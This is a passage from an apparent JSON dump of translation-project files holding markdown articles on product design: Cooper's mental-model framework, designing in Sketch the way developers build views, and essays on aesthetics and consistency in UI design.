即使在磁性材料中，原子的磁场排列在一起，也有可能会出现有些磁性材料的所有原子排列在一起指向一个方向，有些磁性材料的所有原子指向另一个方向，等等。\n\n> [这时响起了不祥的中世纪 BGM] 如果所有的磁场大小相近，那可能没有一个原子的磁场能够大到迫使其它原子与之对齐。举个栗子，一块金属可能完全没有磁场，因为它内部的所有磁性都相互交织在了一起。\n\n> 甚至，如果你从材料外面提供一个足够强的磁场，你就能让这条磁感线对它的邻居的作用力扩大，等等。直到所有的磁感线都统一指向同一个地方，同一个方向。这时，你终于可以得出一个关于金属的结论！我想，就是磁体。\n\n> [...]最了不起的地方是，磁场可以从量子属性引申到日常物体的大小，每一个永久磁体都在提醒着人们量子力学是我们宇宙的基础。\n\n> [阅读原文](https://gist.github.com/tinystride/eab1d627fdc568922ed8461d5b7861a4)\n\n这篇文章回答了很多问题，现在我们都会因为这领域的思想而起鸡皮疙瘩。它不是琐碎的技术文章，但成功讲明白了复杂的信息。它没有表现出高傲或是不屑。\n\n![](https://cdn-images-1.medium.com/max/800/1*0AtAl5KKHf37g8gcC1Acsg.gif)\n\n在这样的剑斗场面也不会有人受伤。\n\n这是教育者在制造共鸣。磁体视频的作者想让他们的观众能够了解到磁体的信息。\n\n* * *\n\n软件产品设计师可以从伟大的教育者身上学到很多，因为他们都是和信息打交道的。我们可以想象一下，一个用户寻找关于 \"jousting\"（马上枪术）的信息。我知道了三件事：\n\n 1.  **这个用户已经想到了什么信息是他想要的。**例如，我听说有 jousting 这样东西，听起来怪怪的，那么我就想看一些关于 jousting 的视频。\n 2.  **我们用户需要的信息实际上是通过某种方式存在于世界上。**例如：一个装有视频信息和一些元数据的数据库是被放在北卡罗来纳州的一个服务器的硬盘里。\n 3.  **一个产品设计师会通过某种程度的抽象来为用户提供信息**例如，一个在特定URL的页面可以提供用户一个输入搜索查询的地方，一个加载图标，一些商标，一张根据你浏览结果得到的分类清单，一面你突然心血来潮想找点东西来打发时间。它还会有许多引诱你去点击的按钮。\n\n![](https://cdn-images-1.medium.com/max/800/1*HvaeY2L1mF_NPbviSwdq7g.png)\n\n顺便说一下 \"jousting\" 是很有趣的。\n\n磁化合金和在沙发上看 \"jousting\" 视频的用户是一堆抽象的东西。因此，将三种模型的信息记在脑海里，并建立它们之间的桥梁，是一个很好的产品设计师的工作。她填补了用户使用机器时的鸿沟，这样用户就不必费事自己去了解。 [Alan Cooper](https://medium.com/u/b1fa02015e7f)是这么说:\n\n> 计算机素养是一种能迫使人类延伸思维，用以了解应用程序逻辑的内部运作，而不是以满足人们通常思维的软件功能产品的延伸。\n\n 让我们更深入去看看三种模式。阿兰·库珀( Alan Cooper 交互设计的提倡者)[_About Face: The Essentials of Interaction Design_](https://www.amazon.com/dp/1118766571/ref=pd_lpo_sbs_dp_ss_1?pf_rd_p=1944687702&pf_rd_s=lpo-top-stripe-1&pf_rd_t=201&pf_rd_i=0470084111&pf_rd_m=ATVPDKIKX0DER&pf_rd_r=04TSA54WA44Z7YC4QTSX).\n\n第一点是用户的_心智模型_。 库珀写到，很多人在他们给电器或计算机插电的时候会认为“电像水一样从墙上黑色小管的电绳里流入电器。”\n\n当然，电力根本不会像水一样流动。在现实世界中，电力的 _抽象模型—_会复杂得多。不过从简单的角度来看，电力工程对我们大多数人来说，已经有足够的信息，以帮助我们了解，例如，我们知道，我们需要把插头塞进插座来给我们的电脑充电。\n\n最后，_表现模型_就是最终由它寻找到用户。这是设计师的时间所花到的地方，是人们实际会接触的部分。\n\n这是设计师的秘密所在，让我们再来看看库珀怎么说：\n\n>“越接近用户心智模型的表现模型，越容易找出应用程序的使用方法和理解。”\n\n说的好极了！对于一个设计师来说，这可能意味着要花更多的时间与用户交单，用更少的时间去挖掘API。这可能意味着早期设计讲花更多的时间来研究用户心理而不是摆弄文字。\n\n<span class=\"markup--quote markup--p-quote is-other\" name=\"anon_54be6b8e1ff8\" data-creator-ids=\"anon\"> 用户的心智模型是我们的指路明灯，虽然它可能是错误的。如果我们不努力去了解这个模型，我们就很难知道我们的工作是否成功了。设计主要是一种换位思考。</span>\n\n举栗子时间：动画是一个练习用户共鸣的好工具。它是一个用户界面模式，用于调整用户的心理模型和产品的表现模型。大家都知道IOS9 顶部的通知菜单不是卷起下面的卷帘式装置。但用户会有有从顶部显示一个新临时状态的心理模型。\n\n![](https://cdn-images-1.medium.com/max/800/1*YybkuqDoXWgLTn8fjp2G4Q.gif)\n![](https://cdn-images-1.medium.com/max/400/1*wP7Nzgk19-A7Ez6DUjXsLQ.gif)\n\n 图片借用于[IKEA](http://www.ikea.com/gb/en/catalog/categories/departments/living_room/10701/)\n\n库珀帮助我看到关于表现模型的特殊部分，这一部分也是设计师唯一能够控制的部分。我们不能控制它的实现模型，因为一个好的工程师讲在代码库中使用抽象模型，使其易于维护和安全。我们不能控制我们用户的心智模型，因为它是由他们的文化和其他不可知的很多因素形成的。\n\n作为设计师，我们掌控着整个表现层的生杀大权。而设计，就是将软件按照用户所想把它呈现给他们，然后让用户为之惊叹的过程。\n"
  },
  {
    "path": "TODO/design-like-a-developer.md",
    "content": "> - 原文地址：[Design like a Developer](https://medium.com/going-your-way-anyway/design-like-a-developer-b92f7a8f4520#.ohgf4aagn)\n* 原文作者：[Chris Basha](https://medium.com/@BashaChris)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Airmacho](https://github.com/Airmacho)\n* 校对者：[skyar2009](https://github.com/skyar2009)，[sqrthree](https://github.com/sqrthree)\n\n---\n\n![](https://cdn-images-1.medium.com/max/1600/1*cUlwzVshahSl9DM4DZApYQ.jpeg)\n\nWestworld, HBO\n\n## 以开发人员方式交付设计\n\n长标题：像在开发环境中搭建 UI 一样在 Sketch 中设计\n\n首先，这将是本文中唯一一次提到 Photoshop。现在是 2017 年了，为自己好，去下载 Sketch（或者 Figma — 只要不是 Photoshop 就行） 用吧。\n\nUI 设计已经有了长足的发展，图像处理程序也是如此（如果你现在还这么称呼它们的话）。仍记得在 GIMP 中创建我们的第一套 UI 时的场景，现在，有了 MacBook，我们可以用 Sketch 完成几乎所有与 UI 相关的所有工作啦。\n\n事情是这样的，尽管，Sketch 是为设计人员打造的。其使命是帮助设计人员创建用户界面 — 你可以用它创建相当惊艳的东西。但不要忘了，你是在打造一个产品，在设计被交付时，你的工作才算完成，而不是当你“定稿” Sketch 文件时。\n\n你的设计必须经由开发人员在开发环境中构建。这就是问题所在：如果你比较 Sketch 和开发环境中的 UI 构建工具（或者 IDE，比如 Xcode、Android Studio)，就会发现两者相似之处并不多。\n\n开发人员构建你的设计的方式，与你作为一个设计师在 Sketch 中创建的方式完全不同。如果这么想，听起来有些蠢，不是吗？\n\n![](https://cdn-images-1.medium.com/max/1600/1*SILxrapOSVGmc4sLIaM3CA.png)\n\nXcode、Sketch 和 Android Studio（和一些闪电符号）\n\n没关系，这篇文章就是介绍一种设计方法，它更接近开发人员构建你的设计时的方式（好拗口）。\n\n### 以“视图”思考\n\n你知道 Sketch 中的 **Symbol** 功能，是吧？当开始用 Sketch 时，我们对这个功能非常着迷，因为这如此接近开发人员构建 UI 的方式。多数情况下，当你观察例如列表项或者操作栏时，它们都可以看作一个独立的源**视图**不断被复用。\n\n![](https://cdn-images-1.medium.com/max/800/1*nhQf6v6HBbnhR7lWbq7Ehw.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*z12CHMxb0YJxT7vppoCciQ.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*cJqbNsqX7jQ0vCynbSpYMA.png)\n\n像开发人员一样设计，最重要的指导原则就是根据**视图**来思考你的设计。将 View 视为独立的一组元素，它们已定义了边界，并按照层次排好顺序了。\n\n例如，在我们的 Nimber 安卓应用中，将搜索结果页分成两个主要视图：由操作栏和包含了用户位置输入及筛选卡片组成的顶部视图，返回搜索结果的列表视图。\n\n在上面的线框图和结构图中，你可以看到视图的边界是如何在设计中被清晰定义的。**Sketch 文件中有一些不可见的图层（透明度为0%）**，这在交给开发人员时非常有用。\n\n看下面操作栏是如何被分解成更小的视图的。\n\n![](https://cdn-images-1.medium.com/max/1600/1*gcQLtwSi9its2BBZ5zpGtg.png)\n\n视图层级的最顶层\n\n![](https://cdn-images-1.medium.com/max/1600/1*eAXV4sx5uwqlPbllrhWmFw.png)\n\n操作栏视图\n\n![](https://cdn-images-1.medium.com/max/1600/1*g4gsq4tDW707agveiSOzNg.png)\n\n100% 透明度时的操作视图元素\n\n确保不要随机把图层分类。以清晰的方式定义它们的尺寸和间距（避免奇数），并按层级顺序排序。\n\n同样的原则也适用于图层的样式，当你需要统一的边框、圆角、阴影时，也可以这样做。\n\n这个叫 [Zeplin](https://zeplin.io) 的应用非常有用。简单说：你可以在应用中引入你的设计，应用会以一个开发人员使用的方式，抽取所有视图的尺寸、文本大小、颜色等。这是一个可以填补设计和开发差异的很棒的工具，我迫不及待地想看到它后续功能。\n\n当你交付设计后，开发人员可以在 Zeplin 中提取某个元素的尺寸、边距、留白等信息，再在 IDE 中创建相应的视图。\n\n### 按 1x 设计\n\n为什么会在这里。。。\n\n按 **1x** 设计指的是，首先你不需要计算其他屏幕的比例大小，重要的是，你和开发人员最终都用相同的参数。这样可以防止交付你的设计时出现计算错误，保持一组统一的值。\n\n这是适用于视图尺寸、文本尺寸、行高等绝大部分与数字相关的设计。\n\n### 一致的调色板\n\n一次创建，多次重用。尝试使用尽可能少的颜色。\n\n![](https://cdn-images-1.medium.com/max/1200/1*MwWQuonkMOBlroqzqD9l2Q.png)\n\n开发人员最常用的命名是  *Primary, Secondary, Accent, Enabled, Disabled* 等。你可以按同样规则命名。*Primary* 和 *Secondary*  可以是你的文本颜色，*Accent* 可以是你的品牌主色调，你懂的。\n\n在 Sketch 里，你可以用颜色拾取器来保存这些颜色，但就我所知，没有什么可以在 Sketch 文件之外共享它们的好办法。然而你可以用你的调色板的颜色、它们的名字和 hex 码创建一个画板。这样当开发人员用 Zeplin 打开你的设计时，就能快速提取出这些颜色，在应用的代码中使用它们。\n\n![](https://cdn-images-1.medium.com/max/1600/1*UnGAceC6fZfRUcc63u4-2A.png)\n\nNimber 应用中我们用到的颜色。\n\n### 适用于所有情况的设计\n\n牢记开发人员不是在创建完美的 UI，而是在创建接近理想 UI 的东西。他们不得不处理无网络链接、或服务器响应错误、或者没有内容显示的等很多情况。\n\n所以确保你的设计可以适用于每一个场景。具体说就是，确保每一屏都有自己的空白状态、加载状态、错误状态和完美状态。这样做的话，99% 的时间里，就表现足够好了。[Scott Hurff](https://medium.com/@scotthurff) 的[这篇文章](http://scotthurff.com/posts/why-your-user-interface-is-awkward-youre-ignoring-the-ui-stack)更深入地解释了各类状态的问题，推荐阅读。\n\n### 屏幕尺寸\n\n我们生活在一个多屏幕尺寸的时代，所以不得不相应地进行设计。当为 Android 系统设计时，这个尤为重要，因为它的设备有各种各样的尺寸。\n\n当用 Sketch 进行设计时，一个“偷懒”的方式就是用诸如 [Sketch Constraints](https://github.com/bouchenoiremarc/Sketch-Constraints) 这样的插件来处理这个问题。用这个工具，你可以复制画板，重新调整它们的尺寸，然后刷新画板。神奇的事发生了， UI 会根据屏幕尺寸变化而变化。\n\n“正确”的方式是为手机屏幕（7 英寸以下）、7 英寸的平板、10 英寸的平板电脑各设计一套 UI。Master-Detail Flow 是一种将列表和详情面板组合在一起复杂的布局，如下图所示：\n\n![](https://cdn-images-1.medium.com/max/1600/1*x5oYpU9S0lUJ9vQbwcNNEw.png)\n\nOh, you wanna know what this is? [Well you’re in luck!](https://medium.com/@BashaChris/overhauling-the-twitter-experience-on-android-80f5b09e7c67#.1c8wpz368)\n\n### 需要记住的事情\n\n1. 并非所有用户都是在英语环境中使用应用。时刻想着，在其他的语言中，文字的长度可能较长（或者较短），在设计布局时，必须要考虑到这个因素。\n2. 不要过于挑剔 — 你不可能控制每一个像素。由于不可预知的数据，应用程序的某些部分设计不可避免地不完美。\n3. 尝试使用平台内置的交互方式、手势、过场及动画特效，开发人员会感谢你的。\n\n### 最后但最重要的\n\n多与开发人员沟通！让他们指导你。虽然 Zeplin 和 Flinto 这类工具是与开发人员共享设计的好方法，但是它们不能解释应用每个部分的行为。分享知识，努力实现最好的产品。\n\n---\n\n就这样，希望你可以学习并尝试这些方法。\n\n**交付开心！**✌️\n\n---\n\n![](https://cdn-images-1.medium.com/max/1600/1*0zBg56i9RC8DSpsK6pvEJA.png)\n\n此文的作者是 Nimber 的设计团队的 [Chris](https://twitter.com/BashaChris) 和 [Andrew](https://twitter.com/ckor)，请记得在 Twitter 上关注我们！\n\n同时请也尝试下 [Nimber](http://nimber.com)，[Facebook主页](http://facebook.com/easybring) - [Twitter账号](http://twitter.com/nimber)\n\n点个 ♥️，让世间充满爱！\n"
  },
  {
    "path": "TODO/design-principle-aesthetics.md",
    "content": "> * 原文地址：[Design principle: Aesthetics](https://uxdesign.cc/design-principle-aesthetics-af926f8f86fe)\n> * 原文作者：[Anton Nikolov](https://uxdesign.cc/@antonnikolov)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：\n> * 校对者：\n\n# Design principle: Aesthetics #\n\n## The power of beauty in design ##\n\n![](https://cdn-images-1.medium.com/max/1000/1*MswMrIcOLRg9mgkb9w1WOA.jpeg)\n\nToday’s article is about understanding what is aesthetic design and its importance for the perception of usability. Humans like pretty and shiny design; they desire it much more than functional one.\n\nWe enjoy looking and using aesthetically pleasing design, because it satisfies our senses, it gives us pleasure.\n\nDesigners tend to think of aesthetics as the visuals of the design. However, aesthetic design consists of more elements than just how it looks.\n\n### What is aesthetic design? ###\n\nThere is a whole branch of philosophy exploring aesthetics. Let’s scratch the surface of the Aesthetics field and learn how it relates to our design work.\n\nThere is a phenomenon that social psychologists call “*the halo effect*”. It means humans tend to assume that good-looking people have other positive qualities aside from their looks.\n\nThe same is valid for product design. **Good looking products and user interface are perceived as more valuable and having more qualities.**\n\n“Beauty is in the eye of the beholder”. **Aesthetics are in all our senses, not just the sight**. Aesthetic design is a 4D experience. Product designers, who are doing actual physical products are aware of that.\n\nWith the emergence of VR and AR technologies it becomes more important for digital designers to consider the 4D experience too.\n\n![](https://cdn-images-1.medium.com/max/800/1*-MOG4SeSZzD5YexmZlPQ2g.gif)\n\nThere are 4 important categories, which can make or break the aesthetics of our designs.\n\n#### Vision: ####\n\nThe most dominant sense in majority of people is our sight. We can’t stop ourselves to look at what we find beautiful. It is as if the light that reflects from the beautiful design acts as a magnet for our eyes.\n\n***Visual aesthetics have these key elements:*** *Color, Shape, Pattern, Line, Texture, Visual weight, Balance, Scale, Proximity and Movement*. Using these element well will help us achieve good visual aesthetics.\n\n#### Hearing: ####\n\nOur ears are capable of perceiving a whole another level of aesthetic design. The ability to hear how your car engine works, how the digital product notifies you of new messages and etc. This is the power of sound aesthetics.\n\n***Sound aesthetics have these key elements:*** *Loudness, Pitch, Beat, Repetition, Melody, Pattern and Noise*. Using them well will create enjoyable “music” for our users.\n\n#### Touch: ####\n\nSkin is the largest organ in human body. It also helps us experience the aesthetics. **Material aesthetics are especially important for physical products.**\n\n![](https://cdn-images-1.medium.com/max/800/1*Z-WitCNfF55vRKASqN0oFw.gif)\n\nJust remember, the last time you were buying cloths and feeling their texture or when you were checking out the latest mobile phone and feeling the frame material. Sometimes people make there buying decisions only based on the material aesthetics. Powerful stuff are these material aesthetics.\n\n***Material aesthetics key elements are:*** *Texture, Shape, Weight, Comfort, Temperature, Vibration and Sharpness*. By mastering them we can make our customers adore our products.\n\n#### Taste and Smell: ####\n\nTaste and Smell are sense that help us experience aesthetics even more deeply. Especially in food industry and different environment designs, these senses play an important role in experiencing aesthetics.\n\n***Key elements are:*** *Strength, Sweetness, Sourness and Texture (for taste)*. Use these elements when possible to enhance the full picture, so our users can feel the aesthetics even deeper.\n\nNow that we know a bit more about aesthetic design, let’s look at why it matters.\n\n### Why aesthetic design matters? ###\n\nNot long ago user were expecting only functional and usable products when they were buying. Today, users expectations have evolved together with the design field.\n\nPeople expect usability by default and are seeking products that are more than functional and usable. We want to experience pleasure, to stimulate our senses. We want the products we use to evoke positive emotion in us. Aesthetic design is crucial to satisfy these needs.\n\nWe all judge the book by its cover. The better the book cover the more we believe the content is better. This is phenomenon called “*Aesthetic-usability*”. **Beautiful products/objects are perceived as easier to use and more valuable than ugly ones**. Even if it is not true!\n\n![](https://cdn-images-1.medium.com/max/800/1*em7ea44XLR21VpdJ40XHIQ.gif)\n\nThis phenomenon is especially valid when the products compared are equal in functionality and ease of use. The better looking product will win over the users swiftly.\n\nAesthetically pleasing designs are bringing up positive attitude in the users. It makes them care more about the product. Aesthetic design makes people more loyal of the brand and tolerant toward mistakes or failures. Imagine all the apple fans.\n\nEarly impressions of a product design matter! Aesthetic design is influencing how people think and feel. It influences how much pleasure we feel from the product. Aesthetic design affects our long-term attitude about products and even people.\n\nAesthetic design matters not only to make the first impression, but also to keep strengthening the bond with the user. The design of our products needs to be aesthetically pleasing consistently across the whole product and user journey.\n\n### Design for aesthetic pleasure ###\n\nLet’s see how the words above can be useful for us to make better design. We have to design products that deliver pleasure to the user with aesthetics and usability.\n\nBut when aesthetics are in the senses of our users, how do we know what to design? The answer can be given by the people we’re designing the product/experience for. We need to understand them before deciding what is aesthetically pleasing.\n\nWhen we are designing products for really wide audience it is wiser to [keep things simple](https://uxplanet.org/design-principles-kiss-the-feature-creep-7eb84b09603f) as much as possible!\n\nThere are 4 important pleasure aspect that we need to consider when we want to make our designs aesthetically pleasing.\n\n#### Psychical pleasure ####\n\nPleasure derived mostly from touch, smell and taste. Think of designing hand-held product, computer devices, VR set even a normal pen.\n\nWe need to make sure the design is ergonomic, it feels comfortable and doesn’t overload the user senses. Consider how sensitive are your user’s senses, what is the average norm. Make sure the smell and taste is either neutral or brings positive associations.\n\n#### Social pleasure ####\n\nPleasure derived from interacting with other people or with AI(still not that common). This context is very broad it can be from home assistant device and VR experiences to a room/building where social events will be hosted.\n\n![](https://cdn-images-1.medium.com/max/800/1*vZ35eZZ-bVzN-wnQ1tR3zw.gif)\n\nWe need to make sure the design supports social interaction in the best way possible. It could be as simple as the sound aesthetics of the coffee machine that allows employees to communicate, while waiting for the coffee to be ready.\n\n#### Psychological pleasure ####\n\nPleasure derived from completing a task or feeling in control and safe. This context is very tightly related to the usability of the product. But it can be also related to how the product design looks.\n\nFor example, a solid and stable looking car gives more psychological comfort than one that seems it might break if you open the door. Same is valid for digital products where the user feels in control and knows the task can be completed for sure.\n\nMaking things look and feel simple and stable. Guiding the user with great composition and motion. Using aesthetics plays a big role in making the users feel safe and in control.\n\n#### Ideological pleasure ####\n\nThis context is mostly about abstract pleasure. I like to think of it as the glue that binds the other pleasure types. It is the meaning of the words in the books not the colors, font sizes and page layouts.\n\nFor example, in product design taking the sustainability angle can trigger pleasure in the user, making her feel well because she is responsible for the environment. Here are a [5 startups that are using that context](https://medium.com/age-of-awareness/my-top-five-favorite-sustainable-companies-5922246eab45).\n\nWe need to make sure that our designs communicate ideas and deeper meaning. This can frequently result in very deep aesthetically pleasure once the user realizes it.\n\n### Balancing aesthetics and usability ###\n\nThere are cases where we need to sacrifice aesthetics, due to different limitations depending on the context. Other times aesthetics could dominate the usability aspect.\n\n#### Aesthetics and usability in balance ####\n\nThis is what most of the cases as Designers we should strive to achieve in our designs. There are many good examples from smart phones and apps to computer chairs that look and feel good, but also have the desired usability.\n\n#### Aesthetics over usability ####\n\nSome times products have dominating aesthetics that are not supported by good usability and ergonomics. This is mostly visible in the fashion industry.\n\n![](https://cdn-images-1.medium.com/max/800/1*naljt3BpP4cF1XydNAFkEw.gif)\n\nI guess these might be nice in winter time :)\n\nShoes made to look nice and attractive, while at the same time destroying the feet of the user. This demonstrates clearly how humans can be seduced by aesthetic design and even at the price of their health.\n\n#### Usability over aesthetics ####\n\nOther times usability must be on focus no matter what. Equipment designed for emergency situations, where people cognition is compromised. In this cases aesthetics are with low priority. When designing for such cases there are a lot of constraints from different authorities and requirements. Using [Hick’s law for quick decision making](https://uxplanet.org/design-principles-hicks-law-quick-decision-making-3dcc1b1a0632) can help you make the better design decisions.\n\n### Final thoughts ###\n\nFirst impression matters. When we perceive beauty with more of our senses we feel deeper pleasure from the design. Aesthetic design gives users pleasure from the start! It makes them form a bond with the design, bond that goes beyond the initial interaction.\n\nAesthetic design is perceived as more friendly, usable and valuable.\n\n#### Call to action ####\n\n*If you found this article useful* ***tap the***💚 *so others can enjoy it, too.*\n\n*Thanks for your time! Follow me on [*Twitter*](https://twitter.com/ainikolov)  and [*LinkedIn*](https://www.linkedin.com/in/antonnikolov/) .*\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/design-principle-consistency.md",
    "content": "> * 原文地址：[Design principle: Consistency](https://uxplanet.org/design-principle-consistency-6b0cf7e7339f)\n> * 原文作者：[Anton Nikolov](https://uxplanet.org/@antonnikolov?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：\n> * 校对者：\n\n# Design principle: Consistency #\n\n## The most known and the most fragile design principle. ##\n\n![](https://cdn-images-1.medium.com/max/1000/1*B0pKth3Pzk8Cn0np_gg3uA.jpeg)\n\nConsistency is a key principle in life and in design. Without it we can’t get far. Even the mightiest of problems will fall if you keep hacking it everyday!\n\nConsistency is one of the design principles that we like to violate frequently. I am also guilty of doing that and I am not proud of it. Going all creative and [artzy](http://www.urbandictionary.com/define.php?term=artzy) can easily break this design principle.\n\nThe topic about consistency in design is huge. I will try my best to boil it down to the most important points. This way we can learn how to use consistency and how to keep it in our designs without breaking it.\n\n### What is consistency in design ###\n\nConsistency is one of the molecules of the Design DNA. Consistent design is intuitive design. It is highly useful and makes the world a better place.\n\nIn short, usability and learnability improve when similar elements have consistent look and function in similar way. When consistency is present in your design, people can transfer knowledge to new contexts and learn new things quickly without pain. This way they can focus on executing the task and not learning how the product UI works every time they switch the context.\n\nWe humans like consistency by default! Our physical bodies constantly strive for consistent balance, so we can be healthy. We need to feel that things are consistent to feel secure and safe.\n\n### Benefits of consistency ###\n\n**Users will learn faster how to use your design**. Imagine, that the consistent elements in your design are the letters of the alphabet. Once, the user has learned the alphabet, he can go anywhere in your product and still be able to communicate with the interface without friction.\n\nHaving inconsistent interface is like trying to communicate with the user in several languages. Only the advanced users will be able to finish their tasks. [Keep it simple](https://uxplanet.org/design-principles-kiss-the-feature-creep-7eb84b09603f) and consistent.\n\n**Consistency eliminates confusion!** When the user feels confused the next step is to feel frustration. We don’t want our dear user to feel that, do we?\n\n**Consistency saves money and time!** Consistent design is frequently built by predefined components. This allows designers and stakeholders to make decisions quickly without spending precious time to argue. This saves time that can be used to build the product and make incremental improvements.\n\n### Four types of consistency ###\n\nLet's look at four type of consistency that are important to be aware of when designing.\n\n#### **Visual consistency** ####\n\nSimilar elements that are perceived the same way make up the visual consistency. **It increases learnability of the product.** Fonts, sizes, buttons, labeling and similar need to be consistent across the product to keep visual consistency.\n\n#### Functional consistency ####\n\nSimilar controls that are functioning the same way make up the functional consistency. **It increases the predictability of the product.** Predictability leads to users feeling safe and secure. For example, the way to go a step back in the flow should function the same way across the product.\n\n#### Internal consistency ####\n\nThis is the combination of both visual and functional consistency in your product design. **It improves the usability and learnability of the product.** Even when you introduce new features/pages users will have easy way using them as long as you keep the internal consistency.\n\n#### External consistency ####\n\nThis type of consistency is achieved when there is design consistency across multiple systems/products. This way the user’s knowledge for one product can be reused in another. Yes, this helps eliminate a lot of the friction and provides great user experience.\n\nGood example of external consistency is the user interface of Adobe products. Once you know Photoshop it is much easier to reuse the same knowledge to start using Illustrator and so on.\n\nAchieving these four types of consistency will help your design gain better usability and more happy users.\n\n### How to be consistent ###\n\nThe essence of being consistent is to be able to replicate the same action or element multiple times, and still be able to support the user with achieving the task.\n\n#### Visuals ####\n\nTypography, colors, space, grid, size and positions. These elements need to be defined in one central place and then used across the system you’re designing.\n\nDefine strong visual hierarchy, the most important things are bigger than the less important ones. Use the same color palette across the product. Padding and margins need to be consistent in all similar elements (*buttons, cards and etc.*). Everything should be ordered in a grid of your choice that allows arrangement of all components in a nice and aesthetic way.\n\nHaving consistent visuals will allow the user to learn the system quickly and have a smooth experience. Your design will gain nice [Feng Shui](https://en.wikipedia.org/wiki/Feng_shui) when you use consistent visuals. :)\n\nHere is a nice source with examples of style guidelines:\n\n[![Markdown](http://i2.muimg.com/1949/2513ad15794cb4bc.png)](http://styleguides.io/examples.html) \n\n#### Voice and tone ####\n\nThe language and tone you use throughout the user flow influences how your user perceives the product. Keep the voice and tone consistent so it feels as one voice speaking to the user. We don't want them to hear many voices, do we? :)\n\nIf you want to keep funny and friendly voice in your product design keep it all the way up til the error and fail messages. [MailChimp](https://mailchimp.com) is a nice example of consistent voice and tone.\n\n![](https://cdn-images-1.medium.com/max/800/1*FoyYzFbv7N85ot68ZTbDkQ.png)\n\n[http://styleguide.mailchimp.com/voice-and-tone/](http://styleguide.mailchimp.com/voice-and-tone/)\n\n#### Use familiar patterns ####\n\nPeople who will be using our designs be it digital or not, have been around for some time. This means they have experienced and learned other designs, and know the patterns used in them.\n\n![](https://cdn-images-1.medium.com/max/800/1*Rgnuo5cD1ArXf6G-JNEflA.png)\n\n[http://www.mobile-patterns.com/](http://www.mobile-patterns.com/) \n\nWe should take advantage of that and incorporate familiar patterns into our designs. The user journey will be much smoother and people won’t even stop to think “Hmm, how do I use this?”, they will directly use it.\n\nHere are two nice sources to look into patterns out of many:\n\n[![Markdown](http://i2.muimg.com/1949/738d30cf07aca807.png)](http://www.mobile-patterns.com/) \n\n[![Markdown](http://i2.muimg.com/1949/dfb6e38bc4c887ba.png)](http://ui-patterns.com/patterns)\n\n### Bend consistency, don’t break it ###\n\nYou might argue that consistency could bore the heck out of the user. If we keep things always consistent there will be almost no innovation.\n\n![](https://cdn-images-1.medium.com/max/800/1*cwiC9HGtMDGC2JKf1HnCNg.gif)\n\nWe first need to learn the rules before we bend them. **Yes, bend not break them!** Broken consistency equals broken design and user experience.\n\nIt is a pain for both the user and the organization. Design process gets slowed down. Tons of money get burned to pay people to argue in meeting rooms over what color is best for that button. Everybody loses precious time to make decisions that should have been made already and just be reused now.\n\n**Designers should preserve and build the consistency as much as possible.**\n\nKeeping things consistent means change will be slowed down. Still, we need our product to be enjoyable and delightful. We need them to evolve to a better version.\n\nSo, how do we keep consistent and still get to where we want to be and drive change?\n\nThe “secret” is in understanding your users. All your design decisions should come from that understanding. Make adjustments to the already established and consistent design system only when they are informed by your user’s needs. Making these small changes will evolve the product into a better version and will keep the consistency.\n\n### Final thoughts ###\n\nAlign your design with your user expectations. Know your users as you know your partner. Be capable of looking through their eyes and feel through their hearts. Become one with them.\n\nCombine that with great understanding of the design fundamentals like visual hierarchy, typography, usability patterns and etc. **Remember, little change is good, more change is not necessarily better!**\n\nCreate consistency to improve usability and to create delight by reducing unwanted surprises.\n\n#### Call to action ####\n\n*If you found this article useful* ***tap the*** *so others can enjoy it, too.*\n\n*Thanks for your time! Connect with me on* [*LinkedIn*](https://www.linkedin.com/in/antonnikolov/)  and [*Twitter*](https://twitter.com/ainikolov).\n\n*Previous design principles*\n\n[![Markdown](http://i2.muimg.com/1949/2237ed46c68ef3e2.png)](https://uxplanet.org/design-principle-cognitive-dissonance-a01dffe81f58) \n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/design-principles-behind-great-products.md",
